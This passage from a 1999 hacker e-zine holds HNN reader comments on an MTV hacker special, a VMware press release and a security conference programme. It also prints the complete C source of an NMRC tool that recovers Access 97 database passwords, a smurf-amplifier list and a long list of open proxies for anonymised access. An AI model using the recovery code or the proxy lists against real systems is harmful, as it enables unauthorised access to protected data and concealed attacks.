version is crippled (Webtrends). 5) Use a combination of copy protection techniques coupled with encryption and registration keys so that your killer app scanner will not be used by the people you're trying to defend against (anybody? nobody?). Thanks to Yan for the Access 97 byte string used to recover passwords. Appendix A ---------- We prefer contacting vendors via email due to the natural electronic paper trail it produces. If that doesn't work, we will start calling tech support. For more info on NMRC's disclosure policy, please see http://www.nmrc.org/advise/policy.txt. Appendix B ---------- This program will end the lame Access password recovery shareware industry. Sorry, but information wants to be free. /************************************************************************* ACC_REC - Access 97 Password Recovery Written by Simple Nomad [thegnome@nmrc.org] 17Sept99 http://www.nmrc.org/ Compile using DJ Delorie's excellent port of the GNU compiler, which is available from http://www.delorie.com/ Thanks to Yan for pointing us to the sekrit string! *************************************************************************/ /* includes */ #include #include /* * Main program.... */ int main(int argc, char *argv[]) { FILE *fDatabase; int i; unsigned char recover[13]; unsigned char password[13]; unsigned char sekrit[13]={0x86,0xFB,0xEC,0x37,0x5D,0x44,0x9C,0xFA,0xC6,0x5E,0x28,0xE6,0x13}; /* Say hello... */ printf("ACC_REC - Recover the password for Microsoft Access databases\n"); printf("Comments/bugs: thegnome@nmrc.org\n"); printf("http://www.nmrc.org/\n"); printf("1999 (c) Nomad Mobile Research Centre\n"); printf("Database filename must be in 8.3 format\n\n"); if (argc!=2) { printf("USAGE: acc_rec \n\n"); printf("EXAMPLES:\n"); printf(" acc_rec secretz.mdb\n"); exit(-1); } fDatabase=fopen(argv[1],"rb"); if (fDatabase == NULL) { printf("Unable to open database file %s.\n",argv[1]); exit(1); } fseek(fDatabase,66,SEEK_SET); fread(&recover,13,1,fDatabase); fclose(fDatabase); if (!memcmp(recover,sekrit,13)) { printf("There is no password set for database %s\n",argv[1]); exit(0); } for (i=0;i<13;i++) password[i]=recover[i]^sekrit[i]; printf("The password is - "); for (i=0;i<13;i++) { if (isprint(password[i])) printf("%c",password[i]); } printf("\n"); } _______________________________________________________________________________ @HWA 19.0 MTV Makes Up True Life ~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Anonymous Last night MTV aired its overly promoted special True Life: I'm a Hacker. MTV was given wide access to numerous underground organizations and individuals and was given the perfect opportunity to accurately portray what hacking is all about it. Instead they focus on arrests, drug use, political correctness, and generally display a very distorted view of what really happens in the computer underground. HNN received numerous comments in regards to the show. Some of the more eloquent ones we have posted here. Comments From HNN Readers http://www.hackernews.com/orig/mtv.html he following was received by HNN after the airing of MTV's True Life: I'm a Hacker contributed by Anonymous 'True Life, I'm a Hacker' fully demonstrated MTV's aptitude for generating educational, accurate, and informative programming. The young, uneducated, MTV television audience needed that mockumentary about as much as the preceding 'Karaoke Boobs' game show. Having conversed with "True Life's" producers when they started filming, it was apparent from the beginning that they were only looking for a few amateur crackers gullible enough to admit to criminal activities on national television. Thanks a lot for making role models out of a few misguided kids. In all fairness, they did end the show with a few shots of Mantis educating schoolmates about proper HTML design. Way to go, MTV, commending the underprivileged youth. How very politically correct of them. Now, as the virgin AOL audience gets their first taste of the exciting, daring, world of 'hackers', they'll know to let Parse TV and John Vranesevich field their questions. Not once did MTV capitalize on the creative spirit that embodies the hacker, or the ubiquitous self-reliance and profound skepticism that distinguishes young hackers from their mainstream peers and schoolmates. So in a few words, I'm disappointed. MTV had an opportunity to educate, and to impart some hacking spirit to the disillusioned masses. Instead, it spoke to unfortunate, angry, and repressed high school geeks, burning into the backs of their heads the phrase: 'Hacking is Power'. So go forth and invade others privacy, misusing your knowledge to scare your peers. Make yourself seem bigger then you are. If you made it far enough to watch the credits, you'd note that even MTV personalities fear you. Isn't that the way true life should be? contributed by Mike The MTV "True Life" show was disturbingly sensationalistic, although I really should have expected it. Serena (although an attractive woman) gives virtually no real insight into things, no big picture. This would be fine if the show genuinely was about "observational" asethetics that could be found in a documentary--but this show presented itself as a Journalistic show. It really didn't explore very much... and I kind of felt at times that Serena was _straining_ to make things look even more exciting, when they weren't. For example, the illustrious MYSTERY DISK, which reminds me of something one would find directly out of Hackers The Movie, and we all know what a truthful and honest cinematic experience that was. The three guys involved weren't particularly good at articulating themselves (particularly Shamrock, who looked more interested in impressing us with how he GOT INTO HACKING FO' ALL DA WRONG REASONS). I watched the show with folks who have virtually no knowledge of "hacker stuff", and they came out with tons of misconceptions. Essentially, the show portrays itself as potentially objective ("hacker: renegade or criminal?"), but all its final premises are basically anti-hacker, not to mention confusing. I guess that's all you can do in a half hour, in a medium marketed for short attention spans, though, huh? MTV had promised HNN an advance copy of the show for review. After watching the show we know why we never got it. @HWA 20.0 VMWARE For Windows ~~~~~~~~~~~~~~~~~~ VMware Makes Personal Computing Safer and more Productive with Revolutionary New Windows Application VMware for Windows NT and Windows 2000 Commercially Available After Successful 60-Day Public Beta Palo Alto, Calif., September 7, 1999 - VMware Inc. today announced the commercial release of a Windows version of its software, a revolutionary new application that enables personal computers to run one or more protected sessions concurrently using one or more operating systems on a single machine. For the estimated 25 million Windows NT users, VMware for Windows NT and Windows 2000 provides for the first time a safe and easy way to install, test, and run concurrently a wide variety of applications and operating systems, without fear of system or network crashes, security breaches or virus attacks. Commercial release follows an extremely successful two-month public beta, during which more than 25,000 registered users - primarily developers, corporate IT professionals and universities - downloaded evaluation copies from the VMware Web storefront. The commercial version of VMware Virtual Platform for Windows NT/2000 sells for $299 with VMware offering a special 30-day promotional price of $199. The non-commercial version sells for $99 with a special 30-day promotional price of $75. The highly anticipated Windows version of VMware rounds out the company's initial product set. Since the public beta release of VMware for Linux on March 15, 1999, more than 100,000 registered users - primarily developers, power users and hobbyists - in 130 countries have downloaded evaluation units. VMware for Linux sales have also been strong, running at a multi-million dollar annual run rate after the first four months. "VMware for Windows NT/2000 allows us to bring the Virtual Platform to a much broader group of users," said Diane Greene, co-founder and chief executive officer of VMware. "This is a great thing given our initial customers' validation of the product's usefulness. VMware for Linux users have shown tremendous passion and appreciation for the product. They have chronicled the different ways it empowers them in more than 100 emails per day plus a steady stream of web site and newsgroup postings. They are using the software to support old operating environments along with new ones, isolate their environments for security and reliability, and achieve more efficient software development and testing. All of these uses and more apply to the VMware for Windows NT/2000 product." VMware Liberates the PC VMware is the first application to liberate the PC from the constraint of being able to run only one session on one operating system on one machine. In such a model, users must reboot, repartition or reconfigure their PCs to switch between applications running on different operating systems. Additionally, with such a tight lock between operating system and machine, a PC's applications and data are vulnerable to loss or corruption should anything go wrong. This makes testing new software or upgrading to new versions of software risky. VMware removes these constraints and these risks by enabling users to run multiple protected sessions, each with full fault and security isolation, on one or more operating systems. Not only does this give users the freedom to run virtually any applications they wish concurrently; it also prevents problems occurring in one session from affecting other sessions. Should problems occur in a given session, users can undo the changes made with the click of a mouse button. And, with VMware, users can encapsulate their PC environments and run them on any machine with a simple save and restart procedure. "VMware provides Network Associates with a flexible environment for developing and testing our software concurrently in several different languages," said Erik Groeneveld, localization manager for Network Associates EMEA in Amsterdam. "The undoable disk capability accelerates our debugging efforts by allowing us to iterate rapidly through different test programs." Current versions of VMware are designed primarily for developers, corporate IT professionals, security specialists and power users. The company plans versions for corporate desktop users. Easy to Install and Use VMware installs quickly without the need to repartition, reconfigure or add processing power, and does not modify the host operating system in any way. With VMware's graphical desktop interface, users can flip between applications or operating systems running in the background with a single keystroke. VMware provides an integrated help facility to solve many user inquiries on the spot, which is supplemented by bundled installation and bring-up support plus an extensive Frequently Asked Questions (FAQ) on VMware's web site. Variety of Native and Virtual Machine Operating Systems Supported VMware for Linux currently supports as native operating systems all major variants of Linux. VMware for Windows NT and Windows 2000 supports Windows NT and the third beta release of Windows 2000 as hosts. Native support for Windows 98 is planned for the future. Virtual machine operating systems supported by both versions include all major variants of Linux, Windows NT, Windows 2000, Windows 95/98, Windows 3.1 and DOS, FreeBSD, NetBSD and other major BSD versions of Unix and Solaris for Intel (version 7 and later). VMware runs on all Intel-based, x86 PCs across all devices and configurations. While VMware consumes very little system overhead, additional operating systems may require users to scale system resources proportionately to achieve maximum performance. VMware recommends a Pentium processor running at 266 MHz or faster and a minimum of 96 MB of RAM. Web Availability Both the Linux and Windows NT and Windows 2000 versions of VMware are available directly from VMware via the company's Web storefront. Customers may also purchase VMware or learn more about the product from Web sites in German and soon in Japanese. About VMware VMware is the originator of virtual machine applications for standard personal computers. The company's roster of customers includes developers, corporate IT professionals, power users, government agencies, colleges and universities and computer enthusiasts worldwide. VMware is a privately held company based in Palo Alto, Calif. # # # VMware is a trademark of VMware, Incorporated. All other names and marks mentioned herein are the property of their respective owners. @HWA 21.0 CQRE'99 ~~~~~~~ *************************************************************** Call for Participation CQRE [Secure] Congress & Exhibition Duesseldorf, Germany, Nov. 30 - Dec. 2 1999 --------------------------------------------------------------- provides a new international forum covering most aspects of information security with a special focus to the role of information security in the context of rapidly evolving economic processes. --------------------------------------------------------------- Part I covers stratecial issues of IT-Security while Part II will discuss more technical issues, like - SmartCard Technology / Security - Public Key Infrastructures - Network Security - Mobile Security - Intrusion Detection - Enterprise Security - Security Design - Electronic Payment - Electronic Commerce - Cryptography - Espionage - Interoperability - Biometrics - Risk Management - Signature Laws - Training / Awareness for example. ---------------------------------------------------------------- CQRE-PROGRAM: ---------------------------------------------------------------- Part I - Strategical Aspects Tuesday, November 30, 1999 ---------------------------------------------------------------- 09.30 Opening: Chairman Paul Arlman, Federation of European Stock Exchange 09.45 Keynote Dr.Hagen Hultzsch, Deutsche Telekom AG "A corporate group in transition - how Deutsche Telekom is preparing for the digital economy." 10.15 Keynote Jean-Paul Figer, Cap Gemini S.A "Brave Digital World? The balance between chances and risks for the information society." 10:45 Coffee 11:15 Five parallel Workshops: Workshop 1 - "Values & standards" (Prof.Dr. Gertrud Höhler) Workshop 2 - "Law & regulation" (Klaus-Dieter Scheurle) Workshop 3 - "Strategy & success" Workshop 4 - "Role of technology" (Karl-Heinz Streibich) Workshop 5 - "Monitoring & control" (Piet van Reenen) 12.45 Lunch 14.15 Keynote Dr.Ulrich Schumacher, CEO Infineon "Network Citizen - what does the networked citizen and consumer stand to gain and lose?" 15.15 Workshop results (Moderator Paul Arlman) 15.45 Coffee 16.00 Summary / 10-point-programme 17.00 Happy Hour 18.00 Platform debate (Moderator Klaus-Peter Siegloch, ZDF) ---------------------------------------------------------------- Part II - Technical Aspects: Wednesday, December 1, 1999 ---------------------------------------------------------------- 09.00 R.Baumgart: Welcome 09.15 B.Schneier: "Attack trees - a novel methodology for risk management." 10.00 Refreshments 10.15 Four parallel tracks: I. Risk Management: D.Povey: "Developing Electronic Trust Policies Using a Risk Management Model" J.Hopkinson: "Guidelines for the Management of IT-Security" II. Security Design: L.Romano, A.Mazzeo and N.Mazzocca: "SECURE: a simulation tool for PKI design" D.Basin: "Lazy Infinite State Analysis of Security Protocols" III. Enterprise Security: P.Kunz: "The case for IT-Security" W.Wedl: "Integrated Enterprise Security - Examples conducted in large European Enterprises" B.Esslinger: "The PKI development of Deutsche Bank" IV. Tutorial: H.Handschuh: "Cryptographic SmartCards" 11.45 Lunch 13.15 S.Senda: "Electronic Cash in Japan" 14.00 M.Yung, Y.Tsiounis, M.Jakobsson, D.MRhaihi: "Panel: Electronic payments where do we go from here?" 15.00 Four parallel tracks: I. SmartCard Issues R.Kehr, J.Possega, H.Vogt: "PCA: Jini-based Personal Card Assistant" M.Nyström, J.Brainard: "An X.509-Compatible Syntax for Compact Certificates" II. Applications D.Hühnlein, J.Merkle: "Secure and cost efficent electronic stamps" K.Sako: "Implementation of a Digital Lottery Server on WWW" III. PKI-experiences J.Lopez, A.Mana, J.J.Ortega: "CerteM: Certification System Based on Electronic Mail Service Structure" K.Schmeh: "A method for developing PKI models" J.Hughes: "The Realities of PKI Inter-Operability IV. Tutorial S.Kent: "How many Certification Authorities are Enough?" 16.45 J.J.Quisquater: "Attacks on SmartCards and Countermeasures" 17.00 M.Kuhn: "How tamper-resistant are todays SmartCards?" 18.15 L. Martini,M. Kuhn, J.J.Quisquater, Hamann: "Secure SmartCards - Fact or Fiction" 19.00 Get-together with music (4 to the bar) and CQRE - Speakers corner - rump session ---------------------------------------------------------------- Part II - Technical Aspects: Thursday, December 2, 1999 ---------------------------------------------------------------- 09.00 R.Baumgart : Good morning 09.15 P.Landrock: Mobile Commerce 10.15 Four parallel tracks: I. Mobile Security M.Borchering: "Mobile Security - an Overview of GSM, SAT and WAP" S.Pütz, R.Schmitz, B.Tiez: "Secure Transport of Authentication Data in Third Generation Mobile Phone Networks" II. Cryptography J.P. Seifert, N.Howgrave: "Extending Wiener`s attack in the Presence of many decrypting exponents" S.Micali, L.Reyzin: "Improving The Exact Security of Fiat-Shamir Signature Schemes" III. Network Security C.Yuen-yan: "On Privacy Issues of Internet Access Services via Proxy Servers" Jorge Davila, Javier Lopez and Rene Peralta: "VPN solutions in diverse layers of the TCP/IP stack" B.Schneier, Mudge, D.Wagner: "Cryptanalysis of Microsofts PPTP Authentification Extensions (MS-CHAPv2)" IV. Tutorial I.Winkler: "How to fight the inner enemy" 12.00 J.S. Coron: "On the security of RSA padding" 12.45 Lunch 14.15 Four parallel tracks: I. PKI A.Young, M.Yung: "Auto-Recoverable Auto-Certifiable Cryptosystems (a survey)" II. Intrusion Detection D.Bulatovic, D.Velasevic: "A Distributed Intrusion Detection System based on Bayesian Alarm Networks" III. Espionage M.Fink: "Espionage - State of the Art and Countermeasures" W.Haas: "Informational Self Defense" IV. Tutorial A.Philip: "Secure E-business" 15.00 S.Kent: "Security for Certification Authorities - A system approach" 16.00 Four parallel tracks: I. Interoperability S.Gupta, J.Mulvenna, S.Ganta, L.Keys, D.Walters: "Interopreability Characteristics of S/MIME Products" M.Rubia, J.C.Cruellas, M.Medina: "The DEDICA Project: The Solution to the Interoperability Problems between the X.509 and EDIFACT Public Key Infrastructures" II. Biometrics H.Arendt: "Biometrics - State of the Art" A.P.Gonzales-Marcos, C.Sanchez-Avila, R.Sanchez-Reillo: "Multiresolution Analysis and Geometric Measure for Biometric Identification" III. Signature Laws Workshop - Leader, K.Keus: "German Signature Act - Expiriences made for Europe?" IV. Tutorial J.Massey: "Cryptography at a glance" 17.45 S.Baker, R.Schlechter, T.Peters, T.Barassi: "Panel: Perspectives for a global signature law" 18.30 R.Baumgart: Closing Remarks - [To unsubscribe, send mail to majordomo@lists.gnac.net with "unsubscribe firewalls" in the body of the message.] @HWA 22.0 Top 10 Smurf Amplifiers ~~~~~~~~~~~~~~~~~~~~~~~ Current top ten smurf amplifiers (updated every 5 minutes) (last update: 1999-10-15 04:26:04 CET) Network #Dups #Incidents Registered at Home AS 195.10.36.0/24 579 0 1999-10-14 01:54 not-analyzed 134.89.10.0/24 75 0 1999-09-09 15:28 not-analyzed 192.0.0.0/2 73 0 1999-01-04 06:39 not-analyzed 128.0.0.0/1 73 0 1999-01-28 02:36 not-analyzed 194.170.181.0/24 72 0 1998-10-24 09:42 AS5384 209.233.219.0/24 72 0 1999-06-04 17:56 AS5673 128.0.0.0/33 71 0 1998-09-25 18:18 not-analyzed 128.0.0.0/225 71 0 1999-02-10 22:16 not-analyzed 192.0.0.0/34 69 0 1998-12-30 07:31 not-analyzed 206.55.18.0/24 69 0 1999-07-22 19:02 not-analyzed 113387 networks have been probed with the SAR 19797 of them are currently broken 13962 have been fixed after being listed here 23.0 Cyberarmy lists, Proxies, Wingates, Shells etc. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proxies ~~~~~~~ udu.calvin.edu port 6532 [latency: 10/14/99 18:16:22 EDT by Demon Warrior 2000] proxy.com port 8080 [latency: 10/14/99 17:36:29 EDT by helicus] iol.it port 8080 [latency: 10/14/99 16:24:25 EDT] 207.17.92.23 port 113 [latency: 10/14/99 15:52:25 EDT by Hoocarez] 216.208.10.72 port 1080 [latency: 10/14/99 15:14:31 EDT by itzim] 194.170.168.1 port 8080 [latency: 10/14/99 15:09:23 EDT by itzme] proxy.rousse.bitex.com port 3128 [latency: 10/14/99 12:14:13 EDT] austra6.lnk.telstra.net port 8080 [latency: 10/14/99 06:46:42 EDT by Azmeer] Pelican.CITY.UniSA.edu.au port 8080 [latency: 10/14/99 06:46:03 EDT by Azmeer] dajenkin.ozemail.com.au port 8080 [latency: 10/14/99 06:45:07 EDT by Azmeer] proxy.connect.com.au port 8080 [latency: 10/14/99 02:36:33 EDT by Arthur Desilva] bess-proxy.ncocc.ohio.gov port 8972 [latency: 10/13/99 22:58:03 EDT by kryptic] 195.92.194.44 port 80 [latency: 10/13/99 15:56:16 EDT by Itznotme] proxy1.emirates.net.ae port 8080 [latency: 10/13/99 15:52:13 EDT] iol.it port 8080 [latency: 10/13/99 12:25:23 EDT by system] proxy.einet.bg port 8080 [latency: 10/13/99 03:04:56 EDT by lg02] 195.92.194.44 port 80 [latency: 10/12/99 23:56:22 EDT] 207.17.92.23 port 113 [latency: 10/12/99 23:32:38 EDT] 207.17.92.93 port 113 [latency: 10/12/99 18:57:23 EDT] 194.170.168.1 port 8080 [latency: 10/12/99 05:30:25 EDT] 204.81.0.20 port 80 [latency: 10/12/99 03:35:16 EDT by ThA LasT Don] 161.142.78.84 port 80 [latency: 10/11/99 19:56:31 EDT] andele.cs.tu-berlin.de port 80 [latency: 10/11/99 16:11:30 EDT by dealer] 145.101.213.2 port 80 [latency: 10/11/99 12:41:32 EDT by SUperblY DUTCH] proxy.com port 8080 [latency: ] 216.208.10.72 port 1080 [latency: 10/10/99 21:47:10 PDT] gw1.ksu.edu.sa port 80 [latency: 10/09/99 02:13:10 PDT by Murad AbouAmmoh] ican.net port 1080 [latency: 10/09/99 01:30:35 PDT by pippo] iol.it port 8080 [latency: 10/09/99 01:23:35 PDT] proxy.surfeu.at port 8000 [latency: 10/08/99 18:01:56 PDT by webcash] cache1.worldcom.ch port 8080 [latency: 10/08/99 15:12:24 PDT by THe Real NEcRo] l.cis.cg.ac.yu port 8080 [latency: 10/08/99 08:10:37 PDT by IvanGrozni] proxy.easynet.co.uk port 3128 [latency: 10/08/99 00:36:21 PDT by Dry Ice] 199.176.186.5 port 81 [latency: 10/08/99 00:28:40 PDT] 203.34.175.19 port 80 [latency: 10/08/99 00:15:22 PDT by ThA LasT Don] 210.8.232.3 port 80 [latency: 10/08/99 00:14:56 PDT by ThA LasT Don] 195.92.197.62 port 80 [latency: 10/07/99 23:47:09 PDT by ThA LasT Don] 195.92.197.61 port 80 [latency: 10/07/99 23:46:58 PDT by ThA LasT Don] 195.92.197.60 port 80 [latency: 10/07/99 23:46:48 PDT by ThA LasT Don] 195.92.194.44 port 80 [latency: 10/07/99 14:02:57 PDT by gva_genius] 212.26.18.21 port 45975 [latency: 10/07/99 11:26:04 PDT] proxy.tele.net port 1080 [latency: 10/07/99 03:58:00 PDT by Nickola Naous] plov.omega.bg port 1080 [latency: 10/07/99 03:57:48 PDT by Nickola Naous] 194.102.225.95 port 1080 [latency: 10/07/99 00:27:04 PDT by Mr.Nice Guy] 207.220.21. port 80 [latency: 10/07/99 00:26:36 PDT by Mr.Nice Guy] cacheflow.insync.net port 8080 [latency: 10/07/99 00:26:11 PDT by Mr.Nice Guy] proxy1.rdc1.sdca.home.com port 8080 [latency: 10/06/99 18:56:22 PDT] 195.92.194.82 port 80 [latency: 10/06/99 18:16:33 PDT by ThA LasT Don] andele.cs.tu-berlin.de port 80 [latency: 10/06/99 16:10:08 PDT] 10.0.1.124 port 8080 [latency: 10/06/99 09:46:38 PDT by 2-415-1] 195.92.197.43 port 3 [latency: 10/06/99 08:45:28 PDT] proxy1.kabelfoon.nl port 80 [latency: 10/06/99 08:30:02 PDT] 207.220.21.15 port 80 [latency: 10/06/99 00:11:06 PDT by ThA LasT Don] 203.23.144.161 port 80 [latency: 10/06/99 00:10:17 PDT by ThA LasT Don] 206.151.68.88 port 80 [latency: 10/06/99 00:09:42 PDT by ThA LasT Don] cache-web.grenet.fr port 80 [latency: 10/06/99 00:08:53 PDT by ThA LasT Don] 204.178.22.18 port 8080 [latency: 10/06/99 00:08:05 PDT by ThA LasT Don] 209.30.0.53 port 8080 [latency: 10/06/99 00:07:27 PDT by ThA LasT Don] 203.20.76.9 port 8080 [latency: 10/06/99 00:06:31 PDT by ThA LasT Don] 203.20.76.8 port 8080 [latency: 10/06/99 00:06:11 PDT by ThA LasT Don] 203.20.76.7 port 8080 [latency: 10/06/99 00:05:50 PDT by ThA LasT Don] 203.20.76.6 port 8080 [latency: 10/06/99 00:05:28 PDT by ThA LasT Don] 203.20.76.5 port 8080 [latency: 10/06/99 00:05:05 PDT by ThA LasT Don] 203.20.76.4 port 8080 [latency: 10/06/99 00:04:41 PDT by ThA LasT Don] 203.20.76.3 port 8080 [latency: 10/06/99 00:04:08 PDT by ThA LasT Don] 203.20.76.2 port 8080 [latency: 10/06/99 00:03:44 PDT by ThA LasT Don] 203.20.76.1 port 8080 [latency: 10/06/99 00:03:14 PDT by ThA LasT Don] Rokeros.Rules.and.Laws.org port 6666 [latency: 10/05/99 18:09:51 PDT by Rokero2] 212.26.18.21 port 45975 [latency: 10/05/99 09:19:59 PDT] mail.homonet.com.mx port 3128 [latency: 10/05/99 05:09:19 PDT by +ve] 193.226.98.1 port 1080 [latency: 10/04/99 15:40:25 PDT by Acidel on DNT sux] ahnberg.pp.se port 8080 [latency: 10/04/99 12:58:01 PDT by Hellevi Dorman] proxyd.emirates.net.ae port 8080 [latency: 10/04/99 12:04:38 PDT by serialchilla] 194.170.168.94 port 8080 [latency: 10/04/99 12:03:25 PDT by serialchilla] 652.235.26.237 port 6325 [latency: 10/04/99 09:15:51 PDT by you ass] 209.162.34.225 port 139 [latency: 10/03/99 23:59:29 PDT by RobertDe'vill] cacheflow.insync.net port 8080 [latency: 10/03/99 22:26:06 PDT by s0nyk] sanborn.k12.nh.us port 8080 [latency: 10/03/99 17:49:26 PDT by Ana|og] 210.154.98.61 port 1080 [latency: 10/03/99 16:44:34 PDT] sunny.ci.hillsboro.or.us port 4.18.2 [latency: 10/03/99 16:15:30 PDT] proxy.mcmail.com port 8080 [latency: 10/03/99 16:15:00 PDT] gateway.hro.com port 8080 [latency: 10/03/99 16:14:12 PDT] fuckyou.com port 3169 [latency: 10/03/99 16:13:01 PDT] sunny.ci.hillsboro.or.us (4.18.2 port 4.18.224 [latency: 10/02/99 16:01:39 PDT by GOD] proxy.dade.k12.fl.us port 80 [latency: 10/02/99 15:11:28 PDT] PROXY.TBA.COM.BR port 80 [latency: 10/02/99 13:35:46 PDT by SomeOneFromHeaven] proxy.cubexs.net.pk port 8080 [latency: 10/02/99 13:33:46 PDT by SomeOneFromHeaven] proxyf.emirates.net.ae port 8080 [latency: 10/02/99 09:37:37 PDT] proxy1.emirates.net.ae port 8080 [latency: 10/02/99 09:19:28 PDT] 24.9.23.185 port 1080 [latency: 10/02/99 07:50:05 PDT by roxy] 212.26.18.21 port 45975 [latency: 10/01/99 19:47:49 PDT] 210.154.98.61 port 1080 [latency: 10/01/99 19:14:58 PDT] 203.108.0.56 port 80 [latency: 10/01/99 17:37:16 PDT by ThA LasT Don] proxy.digi.net.sa port 8080 [latency: 10/01/99 17:04:16 PDT] 212.26.18.21 port 45975 [latency: 10/01/99 16:15:40 PDT] 24.9.23.180 port 1080 [latency: 10/01/99 16:06:04 PDT] proxy.coqui.net port 80 [latency: 10/01/99 09:51:04 PDT] asiparts.com port 6667 [latency: 10/01/99 05:47:58 PDT] 129.187.20.28 port 6669 [latency: 10/01/99 04:54:48 PDT] 200.1.1.1 port 80 [latency: 10/01/99 03:05:20 PDT by JaCK] gateway.hro.com port 8080 [latency: 10/01/99 00:22:08 PDT by saadaoui] 134.206.1.114 port 1328 [latency: 10/01/99 00:21:00 PDT] cacheflow.insync.net port 8080 [latency: 09/30/99 18:39:32 PDT by CyZ] 134.206.1.114 port 1328 [latency: 09/30/99 16:30:48 PDT] 203.162.3.237 port 8080 [latency: 09/30/99 16:27:52 PDT] 237-67-239.tr.cgocable.ca port 80 [latency: 09/30/99 11:37:36 PDT by lox] proxy.mcmail.com port 8080 [latency: 09/30/99 09:45:43 PDT] luva.lb.bawue.de port port 3128 [latency: 09/30/99 06:20:35 PDT by mIke] ican.net port 1080 [latency: 09/29/99 16:31:46 PDT] proxy.concept.net.sa port 8080 [latency: 09/29/99 16:06:35 PDT by jamal] proxy.dade.k12.fl.us port 80 [latency: 09/29/99 11:50:36 PDT by SwitchBox] proxy1.ae.net.sa port 8080 [latency: 09/29/99 10:51:51 PDT by aki] proxy2d.isu.net.sa port 8080 [latency: 09/29/99 07:51:30 PDT by aaa] proxy.netsgo.com port 8080 [latency: 09/29/99 03:56:11 PDT] 24.4.29.247 port 1080 [latency: 09/28/99 22:51:29 PDT] 24.5.35.239 port 1080 [latency: 09/28/99 22:51:13 PDT] 24.5.124.57 port 1080 [latency: 09/28/99 22:51:03 PDT] 24.7.234.209 port 1080 [latency: 09/28/99 22:50:49 PDT] 24.9.23.180 port 1080 [latency: 09/28/99 22:50:41 PDT] 24.10.158.215 port 1080 [latency: 09/28/99 22:50:31 PDT] 24.11.23.206 port 1080 [latency: 09/28/99 22:50:19 PDT] 210.154.43.178 port 1080 [latency: 09/28/99 22:50:04 PDT] 210.154.48.188 port 1080 [latency: 09/28/99 22:49:54 PDT] 210.154.58.197 port 1080 [latency: 09/28/99 22:49:44 PDT] 210.154.71.90 port 1080 [latency: 09/28/99 22:49:34 PDT] 210.154.98.61 port 1080 [latency: 09/28/99 22:49:25 PDT] 210.154.163.233 port 1080 [latency: 09/28/99 22:49:10 PDT] 210.155.28.12 port 1080 [latency: 09/28/99 22:48:55 PDT] 210.155.105.162 port 1080 [latency: 09/28/99 22:48:45 PDT] 210.156.96.107 port 1080 [latency: 09/28/99 22:48:35 PDT] 216.208.9.47 port 1080 [latency: 09/28/99 22:48:25 PDT] 216.208.10.72 port 1080 [latency: 09/28/99 22:48:10 PDT] proxy.mcmail.com port 8080 [latency: 09/28/99 17:41:38 PDT by HaCkErZ] dns.nti.it port 8080 [latency: 09/28/99 14:22:18 PDT by Eve1in] concept.net.sa port 8080 [latency: 09/28/99 14:02:32 PDT by hh] 203.162.3.237 port 8080 [latency: 09/28/99 11:20:53 PDT] proxy.chello.at port 8080 [latency: 09/28/99 11:01:19 PDT by gevatterTod] 165.138.113.22 port 8080 [latency: 09/28/99 10:25:51 PDT] 134.206.1.114 port 3128 [latency: 09/28/99 06:39:54 PDT] proxy.tri.net.sa port 80 [latency: 09/28/99 02:54:34 PDT by zipera] 134.206.1.114 port 3128 [latency: 09/28/99 01:44:30 PDT] varasto.saunalahti.fi port 80 [latency: 09/27/99 23:35:18 PDT by Anssi Ovaska] proxy.brain.net.pk port 8080 [latency: 09/27/99 21:46:28 PDT by yeah right!] proxy.sps.net.sa port 8080 [latency: 09/27/99 19:53:15 PDT by thammer] 202.158.28.196 port 8080 [latency: 09/27/99 18:17:49 PDT by me] Proxy.qatar.net.qa port 8080 [latency: 09/27/99 13:54:59 PDT by SomeOneFromHeaven] 165.138.113.22 port 8080 [latency: 09/27/99 13:32:06 PDT] fuckyou.com port 3169 [latency: 09/27/99 13:29:51 PDT] 216.208.101.64 port 80 [latency: 09/27/99 12:32:02 PDT] 168.221.7.9 port 80 [latency: 09/27/99 10:16:00 PDT by d taylor] Proxy.dade.k12.fl.us port 80 [latency: 09/27/99 10:12:43 PDT by David Taylor] proxy1.emirates.net.ae port 8080 [latency: 09/27/99 07:10:06 PDT by cyberearmy lover] proxy2d.isu.net.sa port 8080 [latency: 09/27/99 07:08:23 PDT] Batelco.com.bh port 8080 [latency: 09/26/99 23:43:14 PDT] 195.92.194.42 port 80 [latency: 09/26/99 18:30:13 PDT by ThA LasT Don] 195.92.197.58 port 80 [latency: 09/26/99 18:29:31 PDT by ThA LasT Don] 195.92.197.44 port 80 [latency: 09/26/99 18:29:07 PDT by ThA LasT Don] 195.92.197.40 port 80 [latency: 09/26/99 13:10:28 PDT] 151.198.16.210 port 80 [latency: 09/26/99 06:35:56 PDT by rapio] 198.142.17.21 port 80 [latency: 09/25/99 18:36:07 PDT by FIGOR] 209.222.171.218 port 80 [latency: 09/25/99 18:34:49 PDT by FIGOR] mail.trikotazas.lt port 1080 [latency: 09/25/99 14:21:50 PDT by GoPaS] wint.klasco.lt port 1080 [latency: 09/25/99 14:21:17 PDT by GoPaS] 209.183.86.96 port 80 [latency: 09/25/99 11:14:01 PDT by chuck] king.of.warez-france.dhs.org port 8080 [latency: 09/25/99 05:17:06 PDT by DarkJedi - WFTEAM -] 129.173.1.66 port 8080 [latency: 09/25/99 04:33:54 PDT by ThA LasT Don] 192.172.226.145 port 8080 [latency: 09/25/99 04:30:55 PDT by ThA LasT Don] 142.92.65.10 port 8080 [latency: 09/25/99 04:29:17 PDT by ThA LasT Don] 205.151.225.201 port 80 [latency: 09/25/99 00:28:57 PDT by ThA LasT Don] 205.151.225.202 port 80 [latency: 09/25/99 00:28:25 PDT by ThA LasT Don] driver.tohai.co.jp port 8080 [latency: 09/24/99 21:32:35 PDT by BLaZeR] proxy.hbt.southcom.com.au port 8080 [latency: 09/24/99 11:07:14 PDT by leo.au] proxy.ltn.southcom.com.au port 8080 [latency: 09/24/99 11:05:25 PDT by leo.au] proxy.dev.southcom.com.au port 8080 [latency: 09/24/99 11:04:31 PDT by leo.au] proxy.bur.southcom.com.au port 8080 [latency: 09/24/99 11:03:34 PDT by leo.au] proxy.mel.southcom.com.au port 8080 [latency: 09/24/99 11:02:14 PDT by leo.au] 195.92.194.42 port 80 [latency: 09/23/99 23:20:43 PDT by ThA LasT Don] mail.wingsink.com port 1080 [latency: 09/23/99 19:27:55 PDT by kRaZiE] 192.168.100.1 port 80 [latency: 09/23/99 11:56:59 PDT] 24.10.21.110 port 80 [latency: 09/23/99 11:50:23 PDT by triptofan] Wingates ~~~~~~~~ austra6.lnk.telstra.net [latency: 10/14/99 13:42:23 